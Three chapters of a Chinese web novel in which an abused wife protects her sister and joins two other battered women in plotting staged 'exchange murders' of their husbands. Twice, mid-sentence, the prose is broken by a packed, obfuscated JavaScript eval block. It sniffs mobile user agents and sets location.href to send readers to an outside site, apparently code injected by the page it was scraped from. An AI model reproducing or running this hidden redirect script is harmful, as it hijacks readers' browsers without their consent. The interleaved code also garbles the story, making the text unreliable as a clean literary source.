《夫君消消乐》 1. 第 1 章 烈日当空，滚烫的热浪泼洒在街头小巷，街上行人步履匆匆，赶忙着躲暑热。 金光下有一女子，影子在她身后缩成一团，逆着稀疏的人流，一点点往县衙面前挪去。 “咚。咚。”登闻鼓响。 沉睡的长街仿佛被鼓声惊醒，各处阴凉的角落里冒出无数好奇的双眼，瞧着那击鼓的白衣女子，纤瘦且单薄。 苏尔茗用尽全身力气抡起鼓槌，额下淌出来的汗被一同甩到鼓面，溅起一道令人眩晕的音浪。 她眼前逐渐发花，暗自咬紧牙关忍住暑热，正要再次挥起被震麻的胳膊，忽然被一道外力推倒在地。 眼前忽然天旋地转，她手中的鼓槌脱手而出，掌心传来一阵粗粝的刺痛。 来人身着衙役官服，顶着猛烈地日头，半眯着眼低头睨着她，往地上啐了一口：“沈夫人，怎么又是你？上次拒了你的诉状，今日便要击鼓。” 他拍了拍腰间的佩刀，语气森然：“嫁夫从夫，不过是沈老爷打你几下，便要来县衙告状？再有下次，便以扰乱公堂之罪，压你入狱！” 他不耐烦地上下打量苏尔茗，伸出手扇着风，扭身想往衙门里的阴凉处去。 一双纤瘦带血的手，拉住了他右脚，声音恳求：“大人，天子杀人与庶民同罪，为何成了夫妻，打骂便合乎情理！” 男子用力猛地抽出脚，苏尔茗便控制不住地往前一扑，激起呛鼻的尘土。 那恶臭的布靴几乎擦着她的脸踏过，不带一丝迟疑地继续往远处迈去，冷漠地声音落在她头顶：“你若无错，他为何会打你？沈家乃恩自县首富，家里有你这样吃饱了撑的娘们才是夭寿！” 她摔倒在炽热的泥土上，整个身子仿佛置于火炉中，上下煎熬。 耳边涌来围观讥笑她的辱骂。 “苏家小门小户，能嫁到沈家多亏她那张脸蛋！这锦衣玉食的还不满足，竟然还敢反咬沈家打她！” “既要又要，真不要脸！” “沈老爷出钱给县里修路、荒年开粥棚赈灾，大方仁善！你被打，肯定是你的错！” 苏尔茗沉默地听着，这些话在她嫁入沈家的三年里，早已从不同人的口中听到无数次。 邻里、姐妹、媒人，甚至族长，都认为是她没做好一个妻子的本分。更何况三年无所出，没有被夫家休弃，已是沈家仁慈。 她后背早已被汗濡湿，此刻不知哪里来的一阵风将她吹得透心凉，她麻木地爬起身，宛如行尸走肉一般，回那牢笼般的沈家去。 沈万金守时重诺，若是她迟了午膳，免不了又是一顿毒打。 她灰头土脸的赶回去，正因并未开膳松了一口气，扭头便撞见了锦衣玉带的沈万金，她一口气哽在喉咙。 沈万金一见她，脸色瞬间阴沉。高大的身躯三两步迈过来擒住她的胳膊，扯着她便往卧房去，声音却平和：“夫人，怎的弄成这样？” 她惨白着一张脸奋力挣扎，一旁的丫鬟都看不过眼，劝慰道：“夫人，您这衣裳脏了，确实该换了。” 她勉强认出沈家频繁更换的丫鬟，呼救：“翠珠，他根本不是要……啊！” 胳膊传来剧烈的疼痛，仿佛要生生捏断她的骨头。 就这么一迟疑，洒扫丫鬟按规矩停在院外半米处。她在丫鬟困惑不解的目光里消失，被拖进了卧房。 “砰”地一声，声音和光线都被阻挡在特制的厚重卧房门外。 屋内陈设奢华，鎏金色的楠木在暗处生光，空气里漫着靡靡沉水香。 沈万金平静的脸色爬上狰狞，缓缓地摘下手里的玉扳指，冷声问她：“你方才，去了哪里？” 她身子抖如糠筛不断后退，却绝望地发现始终离他不过两步远，脑海中不断浮现的记忆，让她啜濡着不敢回应。 他慢条斯理地收起扳指，拿出上好的丝帕擦了擦指缝，随意地往地上一丢，抄起了手边的藤条。 咚。 她后退的双脚磕到了床边的脚踏。 下一瞬，疼痛像炸雷一样在身上裂开，全身一片火辣的麻木。 她被擒住手臂压在床上，嘴巴里掖了布巾，嗓子里的呜咽犹如困兽。 沈万金的声音里只有暴虐，一鞭又一鞭卷着风声落下。 “茗儿，你这副模样，又丢了我的脸！” “上次县衙张大人同我用膳，知会你诉我家暴的事情，打得你五日没下床，我心如刀割！没想到你还是不长记性！” “若不是你嫁给我为妻，你们苏家能有如今的生活？我不过对你要求严格了些，你便心生怨恨……” 藤条“啪”的一声断成两截，苏尔茗身上的焦灼不过停了一瞬，密集如雨的拳头便落了下来。 她看到自己乌紫的手腕，不堪折磨的泪水洇入锦被，绝望的眼神里映着金玉编织的帐顶。 “咚咚。” 卧房的门响得突兀，短暂的抽走了折磨。 沈万金瞪着猩红的眼往门口瞧，狠狠地咽下一口唾沫。深呼吸后，才一脸平静地问：“什么事？姨娘们的午膳先送去，夫人还未更好衣。” 门外丫鬟的声音并不熟悉，有点急切：“是夫人的妹妹，苏晴小姐，特意来探望夫人！” 苏尔茗听到妹妹的名字，心口一酸，眼珠缓缓滚动，看向了卧房门口，盈起了泪。 是妹妹救了她一命。 “知道了，前厅奉茶。”门外的丫鬟应声而去。 沈万金从容地自床上起身，捻着袖子整理自己衣襟上的褶皱，起身去提前备好的冰水中给手消肿。 半晌，他已恢复了往日里翩然落拓的模样，转头警告她，眼底一片冰冷：“换身衣服，别让我难做。” 片刻后，沈万金唤了芸娘，才出了门。 芸娘是正房的管事，带着两个婢子进来为她换药更衣。 “夫人。”芸娘福了福身，对她身上的伤口见怪不怪，“给夫人更衣上药。” 那两个婢女手脚麻利地脱掉她的脏衣，顺从乖觉。 苏尔茗双眼含泪，看到她们习以为常的脸色，终是暗了下去。她曾诉过一次苦，不过半日，便传到了沈万金耳中。 正院里侍奉的其他丫鬟不可靠近卧房半步，唯有芸娘和这两个丫鬟，是沈万金的眼睛。 价值不菲的药膏肆意涂抹在她的身上，火辣与痛感随之远去，变得冰冷。 事毕，她抿抿唇，轻声道：“谢谢。” 芸娘抬头看了她一眼，无悲无喜：“夫人言重了。” 不知何时飘来一朵阴云，给屋瓦蒙了层灰，院中的树木也变得有些病恹恹，失了生机。 苏尔茗急匆匆地沿着小路一直走到前厅，还未进门，便听到了沈万金爽朗的笑声，内心的不安几乎冲破理智。 踏入前厅时，她已经换上了一副温婉地笑意，轻声喊了“夫君”，便急忙走过去握着妹妹苏晴的手。 “晴儿，你今日怎得想起来看我？一早便赶路过来，累不累？等下陪我一起用午膳？” 苏晴惊讶地看着她，似是难得听到她一口气说如此多话，忙不迭地点头：“都听姐姐和姐夫安排！” 苏尔茗手微微一顿，听着苏晴兴冲冲地重复，方才沈万金答应包下她这几日采买花销的事情。 她假笑的唇角霎时有些挂不住，鼓足勇气瞧了沈万金一眼，却发现他的目光死死地锁在苏晴身上，手中的扳指被捻得飞快。 那是他盯上一物思考如何得到时，惯有的动作。 她霍然低头看向苏晴懵懂清秀的容颜，心跳得飞快，顾不得方才的话，硬生生改了主意：“夫君，我想带晴儿去沐春楼用膳。” 一道阴森的目光立刻落在她身上。 苏晴全然不知，仍旧笑着闹她：“好呀好呀，姐姐最疼我，知道我念念不忘他家的八宝鸭！” 半晌，沈万金的声音响起，古井无波：“好啊，你们去。” 她暗自松了一口气。 沐春楼的八宝鸭乃恩自县一绝，百里外的人皆慕名而来吃这一口。二楼精致的包间里，此刻只有她们姐妹二人。 桌上摆满各色菜式，香气扑鼻令人馋虫大动。 苏晴起大早赶了几个时辰的路，终于在大快朵 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“哎，姐姐，你这手是怎么弄得？”苏晴的嘴巴里塞着东西，本该模糊的问话在她心里像是惊雷。 掌心磨破的血迹，手腕边缘的红色鞭痕，在白皙细嫩的皮肤上格外显眼。 苏尔茗立刻扯下衣袖掩住伤口，不自然地向后退了一步，踉跄着坐回座位，才飞快地解释：“我不小心摔倒，已经上药了，无碍。” 随即，她捻起筷子为妹妹夹了爱吃的菜送过去，打断她的思绪：“吃慢些，喜欢就常……” 她忽然想到沈万金看着她们离去时的眼神，顿了顿，继续说：“喜欢就今日多吃些。” 苏晴像是想起来什么，絮絮叨叨地说爹娘临出门前的嘱咐，她虽然已经年过十六，但不曾见过人心险恶，爹娘生怕她叫人拐了去。 她吐吐舌头，俏皮道：“姐姐出嫁时不也才十六岁，还遇到了姐夫这般好脾气的男子，高大俊逸，还带着点书生气，乡里人人都羡慕。” “你都出嫁三年了，爹娘还时常想起你在的时候，上次煮蘑菇汤，一不留神便多做了一碗，原本是你的份……这才托我来瞧瞧。” 苏尔茗的手拂过手腕的伤口，心头酸涩难言，半晌才带着浓浓的鼻音，“嗯”了一声。 “爹娘，有你照顾我就放心。钱不够，缺什么，就告诉姐姐，我替沈家经营些庄子，收益不低。” 苏晴笑眯眯地应了。 午膳后，苏尔茗带着苏晴四处转转，采买了许多东西，才拎着大包小包回府。 一路上，苏晴老是奇怪地问：“姐姐，我这才来了第一天，还有四天才走呢！这些东西我临走前再买，不也是一样嘛？” 苏尔茗笑笑，敷衍妹妹，来都来了。 夜里，她心里的担忧成了真。 沈万金自成婚后鲜少来她的房间，尤其是不喜她房间里的药味，所以不会在她被打还未伤愈的时候过夜。 更何况那硕大的后院里，藏着十几房姨娘，都是沈万金拐骗来的良家女。苏尔茗作为正妻，争宠的风都吹不进她的屋子。 她累了一天回到卧房，等着芸娘为她摘下披风，准备好好泡个澡。 一扭身看到踏着月色而来的沈万金，心里的恐惧越发真实。 她福了福身，正要说话：“夫君……我……” “我路过，来喝杯茶。”沈万金皱着眉挥了挥手，刻意同她拉开了距离，“芸娘，点香。” 屋内立刻燃起浓浓的熏香，浓郁得呛鼻。 尚在冒烟的热茶也在片刻后呈了上来，鎏金的茶碗放在沈万金手边。 沈万金睇了一眼芸娘，芸娘悄声退下、关门一气呵成。屋内只剩他们二人，一时间只能听到盖碗刮过茶杯的声响。 细碎，但刺耳。 苏尔茗盯着那碗茶，看着沈万金不紧不慢地轻轻吹着茶面，缓缓啜了一口，声音难得带了几分笑意，温柔似水。 “听说你那妹妹，今年十六岁，到了该出嫁的年纪了。” 她蓦然抬头，神色惊惶。 2. 第 2 章 卧房里，浓浓熏香染成有若实质的白烟，笼得屋里晦暗明灭，将烛光都掩了大半。 沈万金说完那话，目光只落在手中的茶碗，并不看她，神情笃定。 苏尔茗想到今日沐春楼里苏晴贪吃的模样，想到后院里那些为了金银、雨露争风吃醋，最后香消玉殒，立刻便被新人填补了空位。 她心底缓缓飘起了烟，比呛鼻熏香更浓烈的黑烟，渐渐地燃成火光。 苏尔茗深吸一口气，紧盯着沈万金的眼睛，一字一句道：“夫君，苏晴她年岁虽满，但仍是孩子心性，我爹娘怕她不懂事惹了祸端送命，打算在留她几年。 “到时候我亲自为她相看，就不劳夫君费心了。” “当。” 茶碗被重重地撂在了桌上，碗内水波摇晃，映着沈万金几度狰狞的脸色。 片刻，他端起那茶碗牛饮一大口，怒极反笑：“我沈万金，在恩自县，还没有做不到的事！” “啐！” 他将唇边的茶叶狠狠啐地到她脸上，迈着大步一脚踹开了门，往前院方向去了。 苏尔茗脚一软，身体滑落在地，捂着脸无声落泪。 芸娘进来的时候，她听到了动静，膝行几步哀求地拉着芸娘的裙角：“你救救苏晴好不好……求求你。” 芸娘的声音很冷，毫无波澜：“夫人，该沐浴了。” “若是你的妹妹平安活到现在，她现在也该这么大了……”她手心的裙角一顿，仿若实质的目光落在她背上，她顶着那寒意，犹不死心。 “苏晴每次都记得给你带家乡的吃食，你我同乡，你也不愿她像那些人一样，不明不白地扔到荒郊野岭被野狗分食，对不对……” 芸娘幼妹的事，她听沈家的旧人提过，那时芸娘为了给父亲下葬、养育母亲和幼妹，卖身入府为奴。 后来十三岁的幼妹被沈万金看中，借口养在后院，却行禽兽之事。最终不堪折磨，芸娘在前院做活，时隔月余才知道此事，后来便成了这般。 芸娘沉默着，不动也不言。 她攥着芸娘的裙角，将青砖磕得咚咚作响，一边慌乱地重复：“我不求她富贵，只希望她平安快乐，不要像我一样……” 她的哭声回荡在屋内，传不到门外一分一毫。 不知过了多久，一双冰凉的手阻止了她继续磕头的动作，她看到芸娘那三年里从未有过波动的眼瞳里，松动了一丝。 芸娘未说话，微不可见地点了点头。 她答应，明日找机会送苏晴离开。 苏尔茗两眼望着金玉编织的帐顶，一夜未眠。 晨起时，两个小丫鬟尚在给她梳洗，镜中人灰败的脸色和乌青的眼圈，难掩疲色。 她难得叮嘱一句：“今日帮我上妆。” 丫鬟们呆呆地点头，并不多话。 等她梳妆更衣完毕，前院的消息也适时传了过来——因暑热难耐，苏二小姐打算先回乡避暑，秋日再来探望长姐。 昨日的乌云散去，朦胧的光洒在院里，青砖有些湿意，呼吸间带着一股泥土的腥味。 沈家门口，马车已经备好，小厮们正帮忙将昨日采买的东西送上车厢。 苏晴一脸懵懂，被她拉到一边叙话，才谨慎小声地问：“姐姐，昨日出了何事？可是我花太多钱，惹姐夫不快？” 苏尔茗看着妹妹有些畏缩的惧意，伸手将她鬓边的乱发别到耳后，指腹温柔地扫过脸颊，语重心长。 “没有，但你终归到了要嫁人的年纪，现在我怕护不住你，让爹娘忧心。等……等以后好些，我把你今日的遗憾补上。” 她不等苏晴再抬头看清她眼里的泪，强硬着将妹妹扭过身，往马车的方向推去，嘴里若无其事地张罗着。 “芸娘，昨夜托你买的八宝鸭，记得给她拿上。” 苏晴到底是小女孩心性，一听吃食立刻忘记了方才的伤感，连蹦带跳地上了马车，“姐姐，那我等你来信！” 马车木质轮子的吱嘎声响起，转眼间便起了速度，苏尔茗终是不忍别离，匆忙提了裙角追出去。 不远处，从马车车厢的小窗探出来个毛茸茸的脑瓜，双手放在唇边，大声道：“我上次骗你说，多余的那碗蘑菇汤被爹爹喝了，其实那碗汤后来被放得发霉，娘骂了爹爹很多次，才恋恋不舍地丢了！” 那声音，带着几分哽咽。 苏尔茗极快地挥了挥手，决绝地转身迈回那扇大门，眼泪唰地落了下来。 她含着泪眼前一片模糊，芸娘扶着她往后院走，极轻地捏了捏她的手。 “她命好，昨夜老爷不在府上。” 沈万金回来的时候，后院莫名地有些喧闹。苏尔茗正在湖边的凉亭里避暑，核对近日里庄子的账册。 沈家的事情沈万金不让她插手，一切借由他定夺。但庄子上的小生意沈万金从不管，由她小打小闹，偶尔心情好时会指点两句，多半是由她自己操持。 她看着那盈利颇丰的账目，脑子里已经想到要采买哪些补品给爹娘送去，却听到不远处叽叽喳喳地议论声，微微皱眉。 “芸娘，姨娘们怎么出来了？”沈万金从不准她们出自己的院子。 芸娘循着声音往那边看了看，过会回来告诉她，是沈万金今日又带回来了一个女子，取名箐箐。 这是第十九房姨娘了。 “往常带回来都悄无声息的，怎么今日这般热闹？”她神色平静，极为大度。 芸娘声音难得顿了顿，莫名晦涩：“夫人晚些去瞧瞧就知道了，据说是抢了穷书生的姻缘。为了钱，昨夜送去了老爷的别苑，连夜抬了姨娘。” 以往，他都是挑些未婚嫁的女子，说是足够干净。 她想到昨晚沈万金说的话，手中的笔一颤，抖落出个硕大墨点，污了整张纸。 她目光缓缓落在账册的墨点上，猛地将那张纸扯下，撕了个粉碎。 她抬眼望向湖的另一端，缓缓游曳过一个粉色的人影，细眉圆眼，眼神懵懂，唇角带着三分笑。 酷似苏晴。 “芸娘，不必跟来。”她“啪”地丢下笔，大步出了湖边小亭。 胸腔里的怒气横冲直撞，此刻她眼前里见不得沈家的一分一毫，正巧后院角门敞着，她抬腿就迈了出去。 门外热浪扑面而来，抵不得她心里怒火的一分一毫。 沈家在恩自县不仅有金钱堆出来的名望，还有官商勾结、纵容包庇。她甚至能想到那个穷书生，如她昨日那般绝望，投诉无门被人赶出府衙。 沈万金今日能带箐箐回府，便是将昨日的话打在她脸上，在恩自县，没有可以管束他的王法。 只要苏晴在恩自县一天，他便能将她纳入府中。 潮湿而有些腥咸的味道席卷而来，丝丝凉意让她恢复一点理智，她竟然走到距离沈家很远的城西河畔。 混着泥沙的浑浊河水，缓缓从岸边淌过，将孤立无助地碎石卷起，没入深不见底的水中。 她呆愣地瞧着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362054|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 直到听见了“哗啦”一声，一个粗布衫女子从河岸一跃而下，打断了她阴暗的幻想。 “来人啊！有人跳河了！”她下意识大喊，胸膛和脑中嗡嗡作响，扫过四周才发现只有她一个人。 可她不会水。 苏尔茗望着走向河水深处的人影，飞速思考，果断将自己的腰带缠在河边的树上，看准那不远处的蓝色衣裳女子，一脚踩入河中。 湍急河流的阻力立刻让她往旁侧退了两步，她勉强稳住身形，狠狠地踩住脚下的泥沙碎石，一步一步地往前，手臂绷得僵直，去够那女子的外衫。 “你要干什么！”她大声质问。 前面的呜咽声藏在河流声里，断断续续：“我孩子死了……也不能再有孩子……我活着，还有什么意思……” 苏尔茗听到她微弱的回应，心底燃起希望，趁她踯躅的那一刻，猛地一个箭步拉住了她的领子，手指用力攥得发白，拼命将她往岸边扯。 河流已经没过她二人的胸膛，她几乎用尽全力去吼：“凭什么死的是你！你若不能说服我，我绝不放手！” 那女子终于扭过头看她一眼，一双凌厉飞扬的丹凤眼，此刻灰暗无助。 嘴唇抿得死紧，几乎要咬出血来：“他打掉了我肚子里的孩子！那是我的命！若不是为了孩子，我早就一根绳子吊死了！” “我的父母兄弟都死在了那场饥荒里，只有我因为嫁的远所以活了下来！孩子是我唯一的亲人！” 女子大吼，她便趁女子心神不宁的时候大踏步往河边去，转眼间已经离岸不远。 女子一见河岸越来越近，神情激动地甩开她，扭头就要往河水深处去。 “刺啦”一声——苏尔茗腰间一松，仓皇间她瞥见腰带只剩树上拴住的一截，身子一歪，顷刻被河水没顶。 “救命……我不会水……” 女子还在向前走，她猛地一回头，只看到渐渐消失的发顶，大骂一声：“该死！” …… 杨柳岸边，树荫里落下一片清凉，河岸边并排躺着两个浑身湿透的人。 其中一个喋喋不休地大骂：“你是不是有病？我要死你也多管闲事？不会水还敢去救人，我死了都要被你搅得不得安宁！” 另一个病恹恹地，正是苏尔茗。 她有气无力地追问，还是那句话：“凭什么死的是你？” 女人像个怪物一样看着她，半晌，未作言语。 苏尔茗叹了口气，换了个话题：“我给你讲讲我的故事吧。” 她十分坦诚，将自己饱受暴力折磨和夫君对妹妹图谋不轨的事情，一五一十地说给女子听。 女子沉默着，丹凤眼里第一次有了她的影子。 “我叫林蕙，家中有个酒铺。我丈夫王虎爱喝酒，知道我有一手酿酒本事，便将我娶回家，开了店。” “酒铺的生意有时不好，他便喝酒打骂我。几日前，我有了身孕，还未跟他分享这个好消息，想着开坛陈酿庆祝一下，他进门便骂我败家，动手了打我。” “当晚，我便腹痛不止，他骂我娇气让我忍着。我们成婚五年，好不容易怀上了孩子，就死在了那夜。” 林蕙粗暴地将脸上的泪胡乱一抹，声音冷静地吓人：“大夫说，因为错过了治疗时机，我再难有孕。” 苏尔茗静静地看着她，眼中一动。 她问林蕙的问题，其实也是在问自己。 为何……该死的不是他们呢？ 3. 第 3 章 午后蝉鸣，声声不歇。 杨柳河边微风徐徐，夹杂着暑热与河水的泥腥味。 她们二人不知在此躺了多久，衣裳有些半干的时候，故事也讲到了尽头。 苏尔茗不自觉地重复：“为何……该死的不是他们呢？” “对啊！你说的对啊！”林蕙大腿拍得啪啪响，“我这榆木脑袋，怎么没想到，我这就去把他杀了！” “……不慌。”苏尔茗扭头瞧见林蕙两眼放光，抿唇一笑，“我倒是有个计策。” 苏尔茗缓缓才坐起身，摸着饥饿的肚腹，看着眼巴巴地等着答案的林蕙，“你救了我，我请你吃午膳好不好？” 林蕙肚子也适时的响起抗议声。她双手撑地蹭得站起身，不屑地撇撇嘴，上下打量：“你这样，还想去哪个馆子吃？进门就让人赶出来了！” 林蕙翻了个白眼，嘴上说着不中听的话，但还是伸出手拉了她一把，带她七扭八扭地去了一条小巷。 熟门熟路地敲了敲门，小声喊着：“赵春花，开门！” 没过一会，屋子里走出来一个怯生生的女子，左边眉头有一颗小痣，眼神湿漉漉地盯着苏尔茗瞧，无意识呢喃：“你怎么认识这么漂亮的娘子……” 林蕙唰地一下把门推开，像是自己家一样大大咧咧地走进去，口中不停地向她介绍：“她是我上月缝补衣服时候结识的娘子，今日你我二人借她这里凑合一下，洗洗这外衣上的泥，讨口饭吃。” 苏尔茗觉得赵春花有些眼熟，像是那日她带妹妹闲逛时，街边卖香囊的女子。 赵春花点了点头，老老实实地回答：“西街走十米，左拐一条街，再走十米的小摊就是我的。除了做香囊，我还会缝补衣服、纳鞋……” “好了。”林蕙毫不客气打断她的絮叨，帮忙找来了两个木盆，便开始借着打来的井水涮洗外衫。 苏尔茗麻烦赵春花拿着钱出去买了些吃食，再扭头看，林蕙已经把衣服洗好往杆子上晾了。 她抿抿唇，想到了那些人说她没有做到妻子的本分。那麻利且勤劳能干的林蕙呢，她为什么也要被打？ 苏尔茗沉默着走上前，像是做了什么重大的决定，声音坚定：“你今日说的事，先不要冲动。我手里有个庄子，你先去住着，就当是……帮我酿酒。” “什么事……”林蕙忙着将衣服搭好，随口应声。忽然意识到了什么，丹凤眼里泛出凌厉的光。 她直直地望进林蕙眼睛里，林蕙的果决映出了她眼中那一丝的犹豫。 “嗤，瞧你吓得。”林蕙不爽地笑了笑，终是隐去眼中的杀意，松了口，“我酿酒的费用可不低。” 她露出了难得自满的笑意，柔声道：“沈家，最不缺的就是钱。” 后来，她们三人在赵春花家小小的院子里敞开肚皮吃菜，谈天说地，唯独不谈自己的夫君。 她嫁给沈万金三年，今日才觉得像是活了过来。 一下午的时间飞逝，二人同赵春花分别后，苏尔茗将庄子的所在告诉了林蕙，各自离去。 落日余晖打在灰色的墙砖上，泛着乌。她远远地看着沈家的大门，第一次感到了无止境的疲倦。 她面无表情的瞧着脚下自己长长的影子，慢腾腾地迈过了门槛，拖着裙摆一路走回正院。 她身上的伤口未愈，泡了水此刻才觉得更痛。 苏尔茗额头上生了汗，进屋便喊了芸娘。 芸娘见她身上有些狼狈，连忙命人备水沐浴更衣。更衣时，看到她有些发白的伤口，此刻泛着鲜艳的红色，大大小小交错纵横，十分刺目。 “夫人，您这是……”芸娘难得多问一句。 她倦极，摇了摇头，不欲多言。 当药膏涂抹在伤口上时，苏尔茗忽然被那一丝凉意惊醒，睁开了眼，瞧着那药膏，吩咐：“留下一瓶，若是掉了我自己也好补涂。” 芸娘应声，放在她枕边。 她终于沉沉睡去。 苏尔茗回来的消息，不知何时传到了沈万金耳朵里，她再睁眼，面前就是怒不可遏的沈万金。 她难得见沈万金粉白瘦弱的面皮涨得通红，两只眼睛似要喷火：“你把苏晴赶走了，出门躲着，便以为能逃？” 她掩下眼里浓浓的恨意，怯生答：“夫君……我只是听新人入府，一时伤神……便出去散散心。” 沈万金一把薅起她的长发，硬生生将趴在床上的她身子半提了起来，贴近她的耳边，磨着牙：“原本我今日还想让你和箐箐一同伺候我，享受一下娥皇女英……” 他直起了身，诡异一笑，忽然撒了手。 苏尔茗的下巴重重得砸到玉枕上，痛的她五官皱成一团，连话都说不出。 “可你这一身药味，扫了我的兴。茗儿，若是你今年再不能诞下一子，便由你的妹妹来替你还债吧。” 沈万金将擦手的帕子随意往她脸上一丢，迈着四方步，哼着歌出了门。 她留不住沈万金过夜，无论如何也不能有子嗣。但她受过的苦，绝不可能让妹妹再尝。 苏尔茗握着枕边的伤药，眸光渐深，缓缓收紧了拳。 一连过了半月，她都未再见过沈万金。 她坐在梳妆台前，静静地听芸娘说着姨娘们的事情。 自那日后，沈万金故意将后院的管事权交给了她，逼她要么争宠，要么送妹妹进府。 “半个月，老爷有十日都是宿在箐箐的院子里，剩下五日分别是不同的姨娘，轮不到的那些，便开始辱骂您，说您不公。” 她讽刺地勾唇一笑，看着镜子里疲倦的女人，淡淡道：“我能决定老爷的下半身吗？若是我能，恐怕没她们十九个人什么事。” 周围无人回应她的话，她忽然有些怀念直言不讳的林蕙。 门外的丫鬟通报：“夫人，箐箐姨娘在门口求见。” 芸娘将最后一只簪子插入她的发髻，垂首退到一旁。 苏尔茗扶着桌子缓缓起身，扫过眼前两个木然的丫鬟，转身向门口走去。 一个女子远远地站在正院门口，明媚的光照在艳粉色的锦缎衣裳，上面金线亮的刺眼。 苏晴从不会穿这等艳俗颜色。 她揣着手站在门口，眯着眼睛瞧了一眼，便失了兴趣。 “不见，让她走吧。” 苏尔茗心底憋了许多话，她叹了口气，回屋换了一身轻便的衣衫，打着去探查庄子的名义，坐上了去找林蕙的马车。 庄子由她管辖，自然无人敢多问。 林蕙顺利地被她接上了车，一路上她叽叽喳喳地讲，庄子上的生活十分自由惬意。 在马车上，林蕙坐得并不习惯，嫌垫子太软伤腰。进城后，她们便下了马车走去西街逛逛。 林蕙方才说，明日是赵春花的生辰。 正值夏秋，西街有许多卖花的花农，推着木车走街叫卖，一盆盆花，或含苞待放或娇艳欲滴，叫人眼花缭乱。 她挽着林蕙的衣袖，正在木车边上挑挑拣拣，忽然西街深处响起了似乎有些熟悉的哭喊。 “我不能给你！那是我和爹娘半月的伙食！” “救命……” 她和林蕙对视一眼，确认那是赵春花的声音。 二人顾不得方才挑好的盆栽，拔腿就往声音源头处跑，挤开看热闹人群的时候，地上正躺着死死抱住一男子大腿的赵春花。 她脸上赫然有鲜红的五个手指印，眉头皱在一处，眼泪像断了线的珠子一样扑簌簌地落。 男子手里攥着几个铜板，还有一个瘪瘪的荷包，他被拖着腿仍要往前走。眼里没有任何怜惜，只有对手中金钱的渴望。 苏尔茗三两步冲上去，扶起被拖行的赵春花，“快撒手，要钱不要命了你！” 林蕙生得高大，扯住那个男子就往地上推，一拳随后而至：“小贼，抢她的钱，还敢打人！” 眨眼之间，两拳下去，男子痛得在地上打滚，一把被林蕙抢走了铜板和荷包。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362055|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏尔茗柔声哄着哭得上气不接下气的赵春花，正要开口将荷包抢回来的消息告诉她。 赵春花猛吸了一口鼻涕，囔着声音：“别打……别打了，他……他是我夫君吴大牛……” 林蕙顿时僵在原地，面露尴尬。 方才围观的人无人出手的寂静，忽然沸腾了起来。 “什么啊？夫妻俩的钱左手换右手，这娘们都舍不得？娶她进家，不赚钱不干活还有什么用？” “你可瞧仔细了，那可是吴大牛！黑市赌场里的老客了，上次输了钱赔的倾家荡产，叫人家剁了一根手指！” “要不是他老娘还有几分清醒，把祖产给儿媳拿着，早就流浪街头了！那赵春花，每天去菜场捡地上人家不要的菜吃，我都瞧见过好几回了！” 吴大牛腾得站了起来，捂着方才被打得眼睛，指着骂他的那人：“你放屁！要不是她不给我钱拿去赌，我早就住上三进大宅院了，娶她十个八个婆娘，谁还要她这贱人！” 他转身指着她们三人，眼中蹦出猩红的血丝，咬牙切齿：“赵春花，你长本事了！今儿这钱你不给，行，你看我回家怎么收拾你！” 林蕙怒极，抄起手边的一块砖石，照着他拍拍屁股离去的身影就扔了过去。 吴大牛被击中后背，一个踉跄险些摔倒，他指着赵春花，眼底漫出骇人的杀意，讽刺地笑：“你看看她们到底能护你多久？是护你，还是害你？你可想好了晚上怎么求饶！” 苏尔茗抚着赵春花颤抖的背，心底的火气被彻底激怒。 自吴大牛开口，赵春花就捂着脸躲在她的怀里哭，声音微弱、怯怯的。像是苏晴小时候受了委屈，第一个便冲到她怀里哭。 她缓缓开口，声音极轻，却带着前所未有的坚定：“春花，别怕。你和林蕙，一起去我的庄子上住。” 马车缓缓驶向城郊的庄子，车厢外装饰用的金玉铃铛叮当作响，也遮不住帘内的哭声。 赵春花坐在软垫上，脸上的巴掌印肿得突起。一旁，苏尔茗连忙拿出前些时日要来的药膏，庆幸自己今日随身带着。 她缓缓挖出一点白色的膏体，轻柔地涂抹在赵春花脸上的伤处。 赵春花两只眼睛含着包泪，怕冲掉药膏不敢哭。两眼陷进她温柔的眼神里，扁扁嘴，泣不成声。 “他……他今日要抢走的钱，是我替别人没日没夜缝补了五日，熬得眼睛都花了才换来的铜板。他要拿去赌。” “要不是你们今日来帮我，我……我可能就要被活活饿死，或者被他打死了。” 林蕙的声音突兀地截断她的哭腔，锋利且冷静：“他若死了，你就解脱了。” 她眼睛亮了一瞬，哭声哽在喉咙，结结巴巴：“杀……杀人是犯法的。” “今日尚且有我们救你。你回去后，能活到明年生辰吗？”林蕙毫不留情地揭露事实。 赵春花呆呆地看着一本正经的林蕙，又看看毫不惊讶的苏尔茗，陷入了沉默。 吴大牛连她的生辰都不记得，又怎么会实现求娶她时候的诺言？ 苏尔茗轻轻地笑了一声，声音带着前所未有的解脱和轻松，蛊惑人心：“杀了他们，就解决了一切苦难的源头。该死的人，从来都不是我们。” “所以，何不亲手送他们上路？” 她一把掀开马车小窗的帘子，外面的景色已是山林田野，远方湛蓝的天空里盘旋着高歌的鸟儿。 她扭头瞧着马车内二人脸上落下的光，松开手，帘子落下，残忍地切断了她们眼神中的渴望。 苏尔茗拉起她二人的手，语气沉稳而谨慎：“我想好了，我们可以交换杀人，制造意外，官府就查不到我们头上。往后，我们装作不相识，各自开始新的生活，你们可愿意？” “我愿意。”林慧毫不犹豫。 